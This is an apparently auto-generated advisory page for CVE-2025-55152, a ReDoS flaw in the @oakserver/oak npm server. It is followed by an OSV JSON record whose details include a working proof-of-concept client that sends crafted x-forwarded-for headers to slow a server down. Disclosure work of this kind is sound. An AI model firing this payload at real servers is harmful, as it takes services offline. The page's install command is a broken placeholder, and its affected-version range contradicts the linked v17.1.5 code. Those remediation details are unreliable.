CVE-2025-55152: @oakserver/oak Denial of Service Vulnerability
MODERATECVE-2025-55152 is a MODERATE (CVSS 5.3) denial of service vulnerability (CWE-400: Uncontrolled Resource Consumption) affecting @oakserver/oak libraries in the npm ecosystem. The issue involves oak server has redos in x-forwarded-proto and x-forwarded-for headers. Remediation is available in the latest vendor maintenance releases.
CVE-2025-55152 at a Glance
Security Impact
CVSS: 5.3
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L).
How to Fix CVE-2025-55152
To remediate this vulnerability, upgrade all affected @oakserver/oak dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install @oakserver/oak@Latest secure release
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls @oakserver/oak
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2025-55152, inspect your project dependencies using npm:
npm ls @oakserver/oak
Analyze the terminal output to locate any version of @oakserver/oak in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.
Note: The npm ls @oakserver/oak command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-400: Uncontrolled Resource Consumption, where the product does not properly control the allocation and maintenance of a limited resource. In @oakserver/oak, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2025-55152 Affected @oakserver/oak Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
@oakserver/oak
|
npm |
≤ 14.1.0
|
|
References
Frequently Asked Questions
What is CVE-2025-55152?
Which @oakserver/oak versions are affected?
What version fixes CVE-2025-55152?
Is @oakserver/oak affected?
What is the CVSS score of CVE-2025-55152?
What CWE is associated with CVE-2025-55152?
How can I check npm dependencies for CVE-2025-55152?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-r3v7-pc4g-7xp9",
"modified" : "2025-08-12T00:15:00Z",
"published" : "2025-08-12T00:15:00Z",
"aliases" : [ "CVE-2025-55152" ],
"summary" : "Oak Server has ReDoS in x-forwarded-proto and x-forwarded-for headers",
"details" : "### Summary\n\nWith specially crafted value of the `x-forwarded-proto` or `x-forwarded-for` headers, it's possible to significantly slow down an oak server.\n\n### Vulnerable Code\n\n- https://github.com/oakserver/oak/blob/v17.1.5/request.ts#L87\n- https://github.com/oakserver/oak/blob/v17.1.5/request.ts#L142\n\n### PoC\n\n- setup\n```\ndeno --version\ndeno 2.4.3\nv8 13.7.152.14-rusty\ntypescript 5.8.3\n```\n\n- `server.ts`\n```ts\nimport { Application } from \"https://deno.land/x/oak/mod.ts\";\n\nconst app = new Application({proxy: true});\n\nlet i = 1\n\napp.use((ctx) => {\n\n // let url = ctx.request.url // test1) x-forwarded-proto\n let ips = ctx.request.ips // test2) x-forwarded-for\n console.log(`request ${i} received`)\n i++;\n ctx.response.body = \"hello\";\n});\n\nawait app.listen({ port: 8080 });\n```\n\n- `client.ts`\n```ts\nconst lengths = [2000, 4000, 8000, 16000, 32000, 64000, 128000]\n\nconst data1 = lengths.map(l => 'A' + 'A'.repeat(l) + 'A');\nconst data2 = lengths.map(l => 'A' + ' '.repeat(l) + 'A');\n\nasync function run(data) {\n for (let i = 0; i < data.length; i++) {\n let d = data[i];\n \n const start = performance.now();\n\n await fetch(\"http://localhost:8080\", {\n headers: {\n // \"x-forwarded-proto\": d, // test1)\n \"x-forwarded-for\": d, // test2)\n },\n });\n\n const end = performance.now();\n console.log('length=%d, time=%d ms', d.length, end - start);\n }\n}\n\nconsole.log(\"\\n[+] Test normal behavior\")\nawait run(data1)\nconsole.log(\"\\n[+] Test payloads\")\nawait run(data2)\n```\n\n- run\n```\ndeno run --allow-net server.ts\ndeno run --allow-net client.ts\n\n[+] Test normal behavior\nlength=2002, time=14 ms\nlength=4002, time=6 ms\nlength=8002, time=3 ms\nlength=16002, time=3 ms\nlength=32002, time=2 ms\nlength=64002, time=4 ms\nlength=128002, time=3 ms\n\n[+] Test payloads\nlength=2002, time=7 ms\nlength=4002, time=22 ms\nlength=8002, time=77 ms\nlength=16002, time=241 ms\nlength=32002, time=947 ms\nlength=64002, time=4020 ms\nlength=128002, time=15840 ms\n```\n\n\n### Impact\n\nA specially crafted value of the `x-forwarded-proto` or `x-forwarded-for` headers can be used to significantly slow down an oak server.\n\n### Similar Issues\n\n- https://github.com/denoland/deno/security/advisories/GHSA-jc97-h3h9-7xh6\n\t- https://github.com/denoland/deno/pull/17722\n- https://github.com/websockets/ws/security/advisories/GHSA-6fc8-4gx4-v693\n\t- https://github.com/websockets/ws/commit/00c425ec77993773d823f018f64a5c44e17023ff",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "@oakserver/oak"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"last_affected" : "14.1.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/oakserver/oak/security/advisories/GHSA-r3v7-pc4g-7xp9"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-55152"
}, {
"type" : "WEB",
"url" : "https://github.com/oakserver/oak/commit/b60e60330ef227707c4dc13ef0ea36192d894f44"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/oakserver/oak"
}, {
"type" : "WEB",
"url" : "https://github.com/oakserver/oak/blob/v17.1.5/request.ts#L142"
}, {
"type" : "WEB",
"url" : "https://github.com/oakserver/oak/blob/v17.1.5/request.ts#L87"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-400" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2025-08-12T00:15:00Z",
"nvd_published_at" : "2025-08-09T02:15:38Z"
}
}